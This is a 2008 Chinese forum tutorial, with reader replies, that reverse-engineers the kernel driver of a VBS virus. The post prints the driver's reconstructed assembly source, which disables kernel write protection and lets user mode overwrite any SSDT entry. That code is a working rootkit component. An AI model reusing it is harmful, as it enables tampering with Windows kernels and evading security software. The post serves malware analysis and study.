首页
论坛
课程
招聘
[原创]RootKit hook之[二] SSDT hook
2008-1-12 23:00 55212

[原创]RootKit hook之[二] SSDT hook

2008-1-12 23:00
55212
哈,好大一场雪啊,2008年的第一场雪,比以往来得早些。外面的雪在下,透过书房的窗,欣赏着外面的雪和过往的车辆,欣赏之余,便有了想写点东西的冲动。于是便有了本篇。

谈到ssdt hook,先前有堕落天才的一篇文章《http://bbs1.pediy.com/showthread.php?p=285856#poststop"]SSDT Hook的妙用-对抗ring0 inline hook》大家如果对基本概念不了解的话,可以看看这篇文章。另外,有一篇博客上也绘声绘色的描述了它。简单说说SSDT

今天我们透过一个实例看看它的应用,这个实例来源于sudami前面发出的一篇文章
一VBS病毒过IS和微点了,无语...,夜深人静,我便把里面的Swk0217.sys逆向来看,写得很不错。

该病毒是vbs调用驱动完成的。swk0217d的主要功能是:

1。获取ssdt函数个数
2。获取ssdt函数表中的所有函数
3。hook ZwQuerySystemInformation
4。unhook ZwQuerySystemInformation
5。根据用户给定的函数地址和ssdt表中的索引,修改ssdt表。

注:
1)其中在hook ZwQuerySystemInformation执行时,首先通过ZwQuerySystemInformation找出ntosknrl.exe 模块的内存加载位置,然后通过ntosknrl.exe的导出表找出函数NtQuerySystemInformation的地址。然后hook ZwQuerySystemInformation。各位看官,作者的主要目的是防止SSDT中该函数被挂钩,因此作者在这里做了恢复.病毒作者要使用这个函数,但是害怕这个函数已经被别人做了手脚。

2)unhook ZwQuerySystemInformation时,作者使用完该函数后又恢复了ssdt原有的状态。

.386
.model flat,stdcall
option casemap:none

include w2k\ntstatus.inc
include w2k\ntddk.inc

include w2k\ntoskrnl.inc
includelib C:\RadASM\masm32\lib\w2k\ntoskrnl.lib
include Swk0207.inc

.data
unk_10B80 db  4Eh ; N
          db  0E6h        ; ?
          db  40h        ; @
          db  0BBh        ; ?
OldSSDTValueOfZwQuerySystemInformation dd 0

.code
;              6E 74 6F 73 6B 72 6E 6C 2E 65 78 65 00 CC 6A 24 = ntoskrnl.exe,0   int3  push 24h
FunctionArray dd 736F746Eh, 6C6E726Bh, 6578652Eh,246ACC00h

;***********************************************************************************************
; ZwQuerySystemInformation获取ntoskrnl.exe的内存加载地址
;***********************************************************************************************

;typedef struct _SYSTEM_MODULE_INFORMATION  // Information Class 11
;{
;    ULONG  Reserved[2];  +0
;    PVOID  Base;         +08h
;    ULONG  Size;         +0ch
;    ULONG  Flags;        +10h
;    USHORT Index;        +14h
;    USHORT Unknown;      +16h
;    USHORT LoadCount;    +18h
;    USHORT ModuleNameOffset; +1Ah
;    CHAR   ImageName[256];   +1Ch
;} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

;typedef NTSTATUS ( __stdcall *ZWQUERYSYSTEMINFORMATION )
;                  ( IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
;                    IN OUT PVOID SystemInformation,
;                    IN ULONG SystemInformationLength,
;                    OUT PULONG ReturnLength OPTIONAL );

;typedef struct _tagSysModuleList {
;    ULONG ulCount;
;    SYSTEM_MODULE_INFORMATION smi[1];
;} SYSMODULELIST, *PSYSMODULELIST;

;用法如下:
;s = NtQuerySystemInformation( SystemModuleInformation, pRet,
;sizeof( SYSMODULELIST ), &nRetSize );

        xor        ebx, ebx
        mov        [ebp-24h], ebx
        mov        [ebp-4], ebx
       
        lea        eax, [ebp-1Ch]
        push        eax          ;ReturnLength
        push        ebx          ;SystemInformationLength = 0
        lea        eax, [ebp-20h]   
        push        eax          ;SystemInformation
        push        0Bh          ;SystemModuleInformation,遍历模块
        mov        esi, ZwQuerySystemInformation
        call        esi ; ZwQuerySystemInformation ,第一次调用得到需要的缓冲区长度
       
        mov        [ebp-28h], eax
        cmp        eax, 0C0000004h
        jnz        ERRORRET
       
        push        206B6444h ;   ' kdD'标签
        push        dword ptr [ebp-1Ch] ;申请的长度
        push        ebx                 ;NonPagedPool
        call        ExAllocatePoolWithTag
        mov        edi, eax
        mov        [ebp-30h], edi   ;保留返回值
       
        cmp        edi, ebx        ;判断返回值是否为空
        jnz        NextStep
        or        dword ptr [ebp-4], 0FFFFFFFFh
        xor        eax, eax
        jmp        ErrAllocMem
       
NextStep:
        lea        eax, [ebp-34h]          ;ReturnLength
        push        eax
        push        dword ptr [ebp-1Ch] ;SystemInformationLength
        push        edi                 ;SystemInformation
        push        0Bh                 ;SystemModuleInformation
        call        esi                 ; ZwQuerySystemInformation
        mov        [ebp-28h], eax
       
        cmp        eax, ebx
        jl        ReleaseMemory
       
        mov        eax, [edi]
        mov        [ebp-1Ch], eax  ;保留ZwQuerySystemInformation返回的SYSTEM_MODULE_INFORMATION元素个数
        lea        esi, [edi+4]  
        mov        [ebp-2Ch], esi  ;保留返回的SYSTEM_MODULE_INFORMATION数组首地址
        mov        [ebp-20h], ebx  ;计数变量清零
       
FORLOOP:
        mov        eax, [ebp-1Ch] ;开始for循环
        cmp        [ebp-20h], eax
        jnb        ReleaseMemory
        push        offset FunctionArray
       
        ; 例如: ImageName: windows\system32\ndis.sys, 那么 ModuleNameOffset 就是 0x11       
        movzx        eax, word ptr [esi+1Ah] ;SYSTEM_MODULE_INFORMATION.ModuleNameOffset ,指向名字的偏移
        lea        eax, [eax+esi+1Ch]  ;SYSTEM_MODULE_INFORMATION.ImageName + SYSTEM_MODULE_INFORMATION.ModuleNameOffset
        push        eax   ;不包含路径的名字
        call        _stricmp
        pop        ecx             ;出栈
        pop        ecx
        test        eax, eax
        jnz        ContinueLoop
        mov        eax, [esi+8]    ;返回SYSTEM_MODULE_INFORMATION.Base
        mov        [ebp-24h], eax  ;返回值保存在[ebp-24h]单元
       
ReleaseMemory:
        push        edi
        call        ExFreePool
        jmp            ERRORRET
       
ContinueLoop:
        inc        dword ptr [ebp-20h] ;循环变量递增
        add        esi, 11Ch           ;取下一个SYSTEM_MODULE_INFORMATION类型元素
        mov        [ebp-2Ch], esi      ;暂存当前的SYSTEM_MODULE_INFORMATION元素
        jmp        FORLOOP

SehFunction     proc near               
    mov     esp, [ebp-18h]
ERRORRET::                                                               
    or      dword ptr [ebp-4], 0FFFFFFFFh
    mov     eax, [ebp-24h]
ErrAllocMem::                             
    ret
SehFunction    endp

;********************************************************************************************
; 相当于GetProcessAddress的功能, hModule是指ntoskrnl.exe模块,查找该PE导出表,
; 找出pFunctionName的函数地址.
; 工作原理: 遍历导出表中的AddressOfFunctions,每取出一个函数地址,都根据其在AddressOfFunctions中的
;           索引,遍历整个的AddressOfNames表和AddressOfNameOrdinals表,找出序号跟AddressOfFunctions
;           索引相匹配的函数名,比对函数名和输入参数2是否相同,相同则从AddressOfFunctions中返回当前函数
;           的地址,不同则继续找...
;********************************************************************************************
GetProcessFromNtoskrnl proc hModule:dword,FunctionName:dword

        LOCAL AddressOfNameOrdinals:dword;函数名序号表
        LOCAL AddressOfNames:dword       ;函数名地址表
        LOCAL OutputTable:dword          ;导出表地址
        LOCAL AddressOfFunctions:dword   ;指向导出函数地址表中的指针
        LOCAL pFunctionName:dword        ;函数名
        LOCAL i:dword                    ;循环变量
        LOCAL CurAddressOfNameOrdinals:dword ;当前函数名序号
        LOCAL CurAddressOfNames:dword        ;当前的函数名地址
        LOCAL nIndex:dword                   ;循环变量
        LOCAL myFoundOutFunctionName:dword   ;我们从函数名地址表中找出的函数名指针
        LOCAL InputFunctionName:dword         ;输入的函数名指针,指向参数2
        LOCAL SecondCharacterOfFunctionName:byte
        LOCAL FirstCharacterOfFunctionName:byte
       
        mov        edx, hModule
        mov        eax, [edx+3Ch]
        add        eax, edx           ; 指向PEHeader
        cmp        word ptr [edx],        5A4Dh ; 'MZ'
        jnz        Quit
        cmp        dword ptr [eax], 4550h ;'PE'
        jnz        Quit
        mov        eax, [eax+78h]
        add        eax, edx          ;指向导出表
        mov        OutputTable, eax
       
        mov        edi, [eax+20h] ; IMAGE_EXPORT_DIRECTORY.AddressOfNames
        add        edi, edx
        mov        AddressOfNames, edi
       
        mov        esi, [eax+1Ch] ;IMAGE_EXPORT_DIRECTORY.AddressOfFunctions
        add        esi, edx
        mov        AddressOfFunctions, esi
       
        mov        ecx, [eax+24h] ;IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals
        add        ecx, edx
        mov        AddressOfNameOrdinals, ecx
       
        and        nIndex, 0
        mov        edx, pFunctionName
       
StartSearch:
        mov        ebx, nIndex
        cmp        ebx, [eax+14h] ;IMAGE_EXPORT_DIRECTORY.NumberOfFunctions
        jnb        Quit
       
        cmp        dword ptr [esi], 0 ;判断AddressOfFunctions中第一个函数地址是否为空
        jz        NextAddressOfFunction          ;如果为空,就取IMAGE_EXPORT_DIRECTORY.AddressOfFunctions表中的下一个函数
       
        mov        CurAddressOfNames, edi
        mov        CurAddressOfNameOrdinals, ecx
        and        i, 0
       
StartFindFunctionFromAddressOfNames:
        mov        ebx, i
        cmp        ebx, [eax+18h]   ;IMAGE_EXPORT_DIRECTORY.NumberOfNames
        jnb        OutOfRange
        mov        ebx, CurAddressOfNameOrdinals
        movzx        ebx, word ptr [ebx]
        cmp        ebx, nIndex      ;判断从AddressOfFunctions得到的序号,跟AddressOfNameOrdinals得到序号是否一致
        jnz        NextAddressOfNameOrdinals
        mov        edx, CurAddressOfNames
        mov        edx, [edx]
        add        edx, hModule
        mov        pFunctionName, edx   ;取出函数名
       
OutOfRange:
        test        edx, edx        ;判断是否空
        jz        ContinueWork
       
        mov        myFoundOutFunctionName, edx    ;暂存函数名
        mov        edx, FunctionName
        mov        InputFunctionName, edx         ;暂存输入的函数名
       
CompareFunctionName:
        mov        edx, InputFunctionName
        mov        dl, [edx]
        mov        FirstCharacterOfFunctionName, dl
        mov        ebx, myFoundOutFunctionName
        cmp        dl, [ebx]
        jnz        Different     ;不相同
        test dl, dl       ;判断InputFunctionName是否为空,如果为空,就返回函数地址表中的第一个
        jz        RetCurrentFunctionAddress
       
        mov        edx, InputFunctionName  ;比对函数名中的下一个字符
        mov        dl, [edx+1]
        mov        SecondCharacterOfFunctionName, dl
        cmp        dl, [ebx+1]
        jnz        Different
       
        add        InputFunctionName, 2
        add        myFoundOutFunctionName, 2
        test        dl, dl
        jnz         CompareFunctionName
       
RetCurrentFunctionAddress:
        xor        edx, edx           ;edx = 0,表示找到对应的函数
        jmp        GetFunctionAddress
       
NextAddressOfNameOrdinals:
        add        CurAddressOfNames, 4
        add        CurAddressOfNameOrdinals, 2
        inc        i
        jmp        StartFindFunctionFromAddressOfNames
       
Different:
        sbb        edx, edx
        sbb        edx, 0FFFFFFFFh  ;edx = 1,表示没有找到对应的函数,继续找
       
GetFunctionAddress:
        test        edx, edx
        jnz        ContinueWork
       
        mov        esi, [esi]
        add        esi, hModule
        mov        eax, esi      ;返回函数地址
        jmp        Founded
       
ContinueWork:
        xor        edx, edx
        mov        pFunctionName, edx
       
NextAddressOfFunction:
        add        esi, 4
        mov        AddressOfFunctions, esi
        inc        nIndex
        jmp        StartSearch
       
Quit:
        xor        eax, eax       
Founded:
        ret
GetProcessFromNtoskrnl endp

;**************************************************************************
; 给出一个索引值和一个函数地址,修改ssdt表
;**************************************************************************
HookSSDTByFunIndex proc Value:dword,Index:dword
       
        mov        ecx, Index
        mov        eax, KeServiceDescriptorTable
        cmp        ecx, [eax+8]  ;NumberOfService
        jb        @f
        xor        al, al
        jmp        Quit
       
@@:
    ;去掉写保护
        push        eax
        mov        eax, cr0
        and        eax, 0FFFEFFFFh
        mov        cr0, eax
        pop        eax
       
        mov        eax, KeServiceDescriptorTable
        mov        eax, [eax]
        mov        edx, Value; Value
        lea        ecx, [eax+ecx*4] ; Target
        call        InterlockedExchange
       
        ;恢复写保护
        push        eax
        mov        eax, cr0
        or        eax, 10000h
        mov        cr0, eax
        pop        eax
       
Quit:
        ret
HookSSDTByFunIndex endp

;**************************************************************************
; hook ZwQuerySystemInfomation,替换为NtQuerySystemInformation ,返回值为原来的值
;**************************************************************************
HookSSDT proc Value:dword,FunAddr:dword
        push        eax
        ;去掉写保护
        mov        eax, cr0
        and        eax, 0FFFEFFFFh
        mov        cr0, eax       
        pop        eax
       
        mov        ecx, KeServiceDescriptorTable
        mov        eax, FunAddr
        mov        eax, [eax+1] ;通过ZwQuerySystemInfomation得到ssdt中的index
        mov        ecx, [ecx]   ;ServiceTableBase
        mov        edx, Value   ; Value
        lea        ecx, [ecx+eax*4] ; Target
        call        InterlockedExchange
        mov        ecx, eax
        push        eax
       
        ;恢复写保护
        mov        eax, cr0
        or        eax, 10000h
        mov        cr0, eax
       
        pop        eax
        mov        eax, ecx
        ret
HookSSDT endp

SourceString wchar L(<\\DosDevices\\Swk0217\0>)

swkUnLoad proc pDriverObject :dword
        LOCAL DestinationString:UNICODE_STRING

        push        ecx
        push        ecx
        push        offset SourceString ; SourceString
        lea        eax, DestinationString
        push        eax                ; DestinationString
        call        RtlInitUnicodeString
        lea        eax, DestinationString
        push        eax                ; SymbolicLinkName
        call        IoDeleteSymbolicLink
        mov        eax, pDriverObject
        push        dword ptr [eax+4] ; DeviceObject
        call        IoDeleteDevice
       
        ret
swkUnLoad endp

aNtquerysystemi        db 'NtQuerySystemInformation',0

DispatchFunction:
        push        esi               
        mov        esi, [esp+0Ch]   ;pIrp
        mov        eax, [esi+60h]   ;取IRP.CurrentStackLocation
       
        and        dword ptr [esi+18h], 0 ;将IRP中的IoStatus置零,这个结构体见ntddk.inc
        and        dword ptr [esi+1Ch], 0
       
        cmp        byte ptr [eax],        0Eh  ;IO_STACK_LOCATION.MajorFunction
        mov        edx, [esi+0Ch]       ;IRP.AssociatedIrp.SystemBuffer
        mov        ecx, [eax+8]         ;IO_STACK_LOCATION.Parameters.DeviceIoControl.InputBufferLength
        push        edi
        jnz        CreateAndClose
        mov        eax, [eax+0Ch]       ;IoControlCode
        cmp        eax, 83471060h      
        jz        GetSSDTNum           ;获取ssdt函数个数
        cmp        eax, 83471064h
        jz        GetSSDTFunction      ;获取ssdt函数表
        cmp        eax, 83471068h
        jz        HookZwQuerySystemInformation ;hook ZwQuerySystemInformation
        cmp        eax, 8347106Ch
        jz        RestoreHookSSDT      ;恢复前面hook的ZwQuerySystemInformation
        cmp        eax, 83471070h
        jz        ModifySSDTByFunIndex ;根据用户给定的函数地址和ssdt表中的索引,修改ssdt表
        mov        dword ptr [esi+18h], 0C000000Dh  ;IoStatus
        jmp        CreateAndClose
       
ModifySSDTByFunIndex:
        push        8
        pop        edi
        cmp        ecx, edi  ;判断InputBufferLength是否等于8
        jnz        CreateAndClose
        push        dword ptr [edx+4] ;SystemBuffer中第二个dword值,代表一个ssdt表中的索引
        push        dword ptr [edx]   ;;SystemBuffer中第一个dword值,代表一个给定的函数地址
        call        HookSSDTByFunIndex
        test        al, al
        jz        CreateAndClose
        mov        [esi+1Ch], edi
        jmp        CreateAndClose
       
RestoreHookSSDT:  ;恢复ssdt表
        mov        eax, OldSSDTValueOfZwQuerySystemInformation
        test        eax, eax
        jz        CreateAndClose
        mov        ecx, ZwQuerySystemInformation
        cmp        eax, ecx
        jz        HaveDone
        push        ecx
        push        eax
        call        HookSSDT
       
HaveDone:
        and        OldSSDTValueOfZwQuerySystemInformation, 0
        jmp        CreateAndClose
       
HookZwQuerySystemInformation:
        call        near ptr FunctionArray+0Eh  ;执行 push 24h,通过ZwQuerySystemInformation获取ntoskrnl.exe的内存加载地址
        test        eax, eax
        jz        CreateAndClose
        push        offset aNtquerysystemi     ; "NtQuerySystemInformation"
        push        eax
        call        GetProcessFromNtoskrnl
        mov        ecx, ZwQuerySystemInformation
        cmp        eax, ecx
        jz        CreateAndClose
        push        ecx
        push        eax
        call        HookSSDT
        mov        OldSSDTValueOfZwQuerySystemInformation, eax ;保存原ssdt表中函数地址
        jmp        CreateAndClose
       
GetSSDTFunction:
        mov        eax, KeServiceDescriptorTable
        mov        edi, [eax+8] ;NumberOfService
        push        ebx
        mov        ebx, edi
        shl        ebx, 2       ;NumberOfService*4
        cmp        ecx, ebx     ;比较输入长度与NumberOfService*4,判断申请的缓冲区是否够
        pop        ebx
        jb        CreateAndClose
        xor        ecx, ecx
        test        edi, edi
        jbe        GetSSDTFunctionErr
       
GetNextSSDTFunction:
        mov        eax, [eax]
        mov        eax, [eax+ecx*4]
        mov        [edx+ecx*4], eax
        mov        eax, KeServiceDescriptorTable
        inc        ecx
        cmp        ecx, [eax+8]
        jb        GetNextSSDTFunction
       
GetSSDTFunctionErr:
        mov        eax, [eax+8]
        shl        eax, 2
        jmp        Quit
       
GetSSDTNum:
        push        4
        pop        eax
        cmp        ecx, eax ;输入长度<4跳转
        jb        CreateAndClose
        mov        ecx, KeServiceDescriptorTable
        mov        ecx, [ecx+8] ;NumberOfService
        mov        [edx], ecx  ;edx指向IRP.AssociatedIrp.SystemBuffer
       
Quit:
        mov        [esi+1Ch], eax
       
CreateAndClose:
        mov        edi, [esi+18h] ;IoStatus
        xor        dl, dl
        mov        ecx, esi
        call        IofCompleteRequest
        mov        eax, edi
        pop        edi
        pop        esi
        ret

wcharDeviceName wchar L(<\\Device\\Swk0217\0>)
wcharSymbolicLink wchar L(<\\DosDevices\\Swk0217\0>)

start proc DriverObject:dword
        LOCAL SymbolicLinkName:UNICODE_STRING
        LOCAL DestinationString:UNICODE_STRING
        LOCAL DeviceObject:dword
       
        and        DeviceObject, 0
        push        esi
        push        edi
        mov        edi, RtlInitUnicodeString
        push        offset wcharDeviceName ; SourceString
        lea        eax, DestinationString
        push        eax                ; DestinationString
        call        edi             ; RtlInitUnicodeString
        mov        esi, DriverObject
        lea        eax, DeviceObject
        push        eax                ; DeviceObject
        push        0                ; Exclusive
        push        0                ; DeviceCharacteristics
        push        598347h                ; DeviceType
        lea        eax, DestinationString
        push        eax                ; DeviceName
        push        0                ; DeviceExtensionSize
        push        esi                ; DriverObject
        call        IoCreateDevice
        test        eax, eax
        jl        @f
        push        offset wcharSymbolicLink ; SourceString
        lea        eax, SymbolicLinkName
        push        eax                ; DestinationString
        call        edi ; RtlInitUnicodeString
        lea        eax, DestinationString
        push        eax                ; DeviceName
        lea        eax, SymbolicLinkName
        push        eax                ; SymbolicLinkName
        call        IoCreateSymbolicLink
        mov        ecx, offset DispatchFunction
        mov        [esi+70h], ecx ;IRP_MJ_DEVICE_CONTROL
        mov        [esi+40h], ecx ;IRP_MJ_CLOSE
        mov        [esi+38h], ecx ;IRP_MJ_CREATE
        mov        dword ptr [esi+34h], offset swkUnLoad ;DriverObject.DriverUnLoad
       
@@:
        pop        edi
        pop        esi
        ret
start endp

end start

第五届安全开发者峰会(SDC 2021)议题征集正式开启!

上传的附件:
收藏
点赞0
打赏
分享
最新回复 (35)
雪    币: 235
活跃值: 活跃值 (10)
能力值: ( LV12,RANK:460 )
在线值:
发帖
回帖
粉丝
火影 活跃值 11 2008-1-12 23:37
2
0
combojiang 的逆向能力超强
雪    币: 201
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
国际米兰 活跃值 2008-1-13 04:44
3
0
感谢你的努力和分享!
雪    币: 38
活跃值: 活跃值 (15)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
炉子 活跃值 3 2008-1-13 09:39
4
0
GetProcessFromNtoskrnl ?

why not MmGetSystemRoutineAddress
雪    币: 478
活跃值: 活跃值 (580)
能力值: ( LV12,RANK:1010 )
在线值:
发帖
回帖
粉丝
sudami 活跃值 25 2008-1-13 10:02
5
0
MmGetSystemRoutineAddress --> MiFindExportedRoutineByName

PVOID
MiFindExportedRoutineByName (
    IN PVOID DllBase,
    IN PANSI_STRING AnsiImageRoutineName
    )
{
    USHORT OrdinalNumber;
    PULONG NameTableBase;
    PUSHORT NameOrdinalTableBase;
    PULONG Addr;
    LONG High;
    LONG Low;
    LONG Middle;
    LONG Result;
    ULONG ExportSize;   // 保存表项的大小
    PVOID FunctionAddress;
    PIMAGE_EXPORT_DIRECTORY ExportDirectory;

    PAGED_CODE();

    ExportDirectory = (PIMAGE_EXPORT_DIRECTORY) RtlImageDirectoryEntryToData (
                                DllBase,
                                TRUE,
                                IMAGE_DIRECTORY_ENTRY_EXPORT,
                                &ExportSize);

    if (ExportDirectory == NULL) {
        return NULL;
    }

    NameTableBase = (PULONG)((PCHAR)DllBase + (ULONG)ExportDirectory->AddressOfNames);
    NameOrdinalTableBase = (PUSHORT)((PCHAR)DllBase + (ULONG)ExportDirectory->AddressOfNameOrdinals);

    // 这个查找算法叫什么来着,忘了
    Low = 0;
    Middle = 0;
    High = ExportDirectory->NumberOfNames - 1;

    while (High >= Low) {
        Middle = (Low + High) >> 1;

        Result = strcmp (AnsiImageRoutineName->Buffer,
                         (PCHAR)DllBase + NameTableBase[Middle]);

        if (Result < 0) {
            High = Middle - 1;
        }
        else if (Result > 0) {
            Low = Middle + 1;
        }
        else {
            break;
        }
    }

    // 如果High < Low,表明没有在EAT中找到这个函数;否则,返回此函数的索引
    if (High < Low) {
        return NULL;
    }

    OrdinalNumber = NameOrdinalTableBase[Middle];

    // 如果索引值大于EAT中已有的函数数量,则查找失败
    if ((ULONG)OrdinalNumber >= ExportDirectory->NumberOfFunctions) {
        return NULL;
    }

    Addr = (PULONG)((PCHAR)DllBase + (ULONG)ExportDirectory->AddressOfFunctions);

    FunctionAddress = (PVOID)((PCHAR)DllBase + Addr[OrdinalNumber]);
    ASSERT ((FunctionAddress <= (PVOID)ExportDirectory) ||
            (FunctionAddress >= (PVOID)((PCHAR)ExportDirectory + ExportSize)));

    return FunctionAddress;
}



原理都差不多嘛. 不过自己实现效果可能会好些~ [偶的理解 ]
雪    币: 38
活跃值: 活跃值 (15)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
炉子 活跃值 3 2008-1-13 10:09
6
0
呵,也是  可以绕hook
雪    币: 38
活跃值: 活跃值 (15)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
炉子 活跃值 3 2008-1-13 10:10
7
0
哈,好大一场雪啊,2008年的第一场雪


lz那儿也下雪啦?  偶这儿也下了  HOHO。
雪    币: 292
活跃值: 活跃值 (12)
能力值: ( LV9,RANK:140 )
在线值:
发帖
回帖
粉丝
liuzewei 活跃值 3 2008-1-13 11:13
8
0
留名,收藏先```第一篇还没啃完啊,最近考试啊!
雪    币: 97
活跃值: 活跃值 (15)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
xzchina 活跃值 1 2008-1-13 12:11
9
0
雪    币: 14
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
jpinglove 活跃值 2008-3-29 00:24
10
0
好文!该顶!
支持楼主多多出些更好 的文章!
雪    币: 200
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
网游天下 活跃值 2008-3-31 16:31
11
0
不知道能不能看明白,但先感谢楼主的文章。
雪    币: 200
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
小黑DD 活跃值 2008-5-1 22:47
12
0
要是c写的就好了...汇编看着真累啊...
雪    币: 200
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
方人 活跃值 2008-5-8 19:55
13
0
收藏起来
学习ING
雪    币: 200
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
方人 活跃值 2008-5-8 19:58
14
0
收藏起来
学习ING
雪    币: 200
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
mehackme 活跃值 2008-7-12 00:33
15
0
这么好的文章顶的人这么少 实在可惜
这么好的文章看不懂 更可惜了
雪    币: 200
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
TGOS 活跃值 2008-7-20 21:12
16
0
.                      .
雪    币: 201
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
snowtang 活跃值 2008-9-27 23:32
17
0
看不懂啊,书到用时方恨少
雪    币: 135
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
gongbin 活跃值 2008-11-16 17:46
18
0
汇编太难看,看完费了好大劲哦.......学习了  感谢分享!!~~~
雪    币: 228
活跃值: 活跃值 (10)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
XzOsaPl 活跃值 2 2008-11-29 18:55
19
0
希望有 C 语言的...
雪    币: 99
活跃值: 活跃值 (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
twoseconds 活跃值 2008-12-25 16:22
20
0
顶,学习ING
雪    币: 30
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
zephr 活跃值 2009-1-21 21:41
21
0
大哥附件好像不能下载了
雪    币: 203
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
jcctzqs 活跃值 2009-3-28 15:48
22
0
偶也来顶个哈 呵呵
雪    币: 100
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
cjzgyl 活跃值 2009-3-28 21:39
23
0
找了很久,没想到在这里找到了,非常感谢楼主,无私奉献
雪    币: 230
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
raistlin533 活跃值 2009-3-28 23:18
24
0
学习了,谢谢楼主教学
雪    币: 2
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
cymzl 活跃值 2009-9-15 13:15
25
0
谢谢楼主,学习先
游客
登录 | 注册 方可回帖
返回